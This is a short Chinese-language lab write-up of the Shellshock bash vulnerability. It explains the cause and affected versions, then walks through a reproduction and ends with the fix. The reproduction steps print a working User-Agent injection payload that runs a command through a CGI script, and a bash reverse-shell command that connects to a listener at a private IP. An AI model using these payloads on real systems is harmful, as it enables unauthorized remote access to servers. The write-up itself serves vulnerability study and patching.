漏洞简介
破壳漏洞(shellshock),也被称为bashdoor,是广泛使用的Unix shell中的一系列安全漏洞,其中第一个漏洞于2014年9月24日被披露。许多面向互联网的服务,如一些网络服务器部署,使用bash来处理某些请求,允许攻击者导致脆弱的bash版本执行任意命令。这可以让攻击者获得对计算机系统的未授权访问。此漏洞源于在调用bash shell之前可以用构造的值创建环境变量。这些变量可以包含代码,在shell被调用后会被立即执行
漏洞成因
bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。核心的原因在于在输入的过滤中没有严格限制边界,没有做合法化的参数判断。
漏洞范围
bash版本小于等于4.3
漏洞复现
1、打开漏洞地址
2、成功正常访问,打开bp进行抓包(同时抓取两个数据包payload)
3、将payload附在User-Agent中,并发送请求
User-Agent: () { foo; }; echo Content-Type: text/plain; echo; /usr/bin/id
4、可以看到成功执行了命令,以同样的数据在safe.cgi发送请求,发现其不受影响
5、kali开启端口监听,执行反弹shell命令
() { :;}; echo;/bin/bash -i >& /dev/tcp/192.168.217.139/4444 0>&1
6、成功反弹shell
漏洞修复
将bash版本升级到最新版本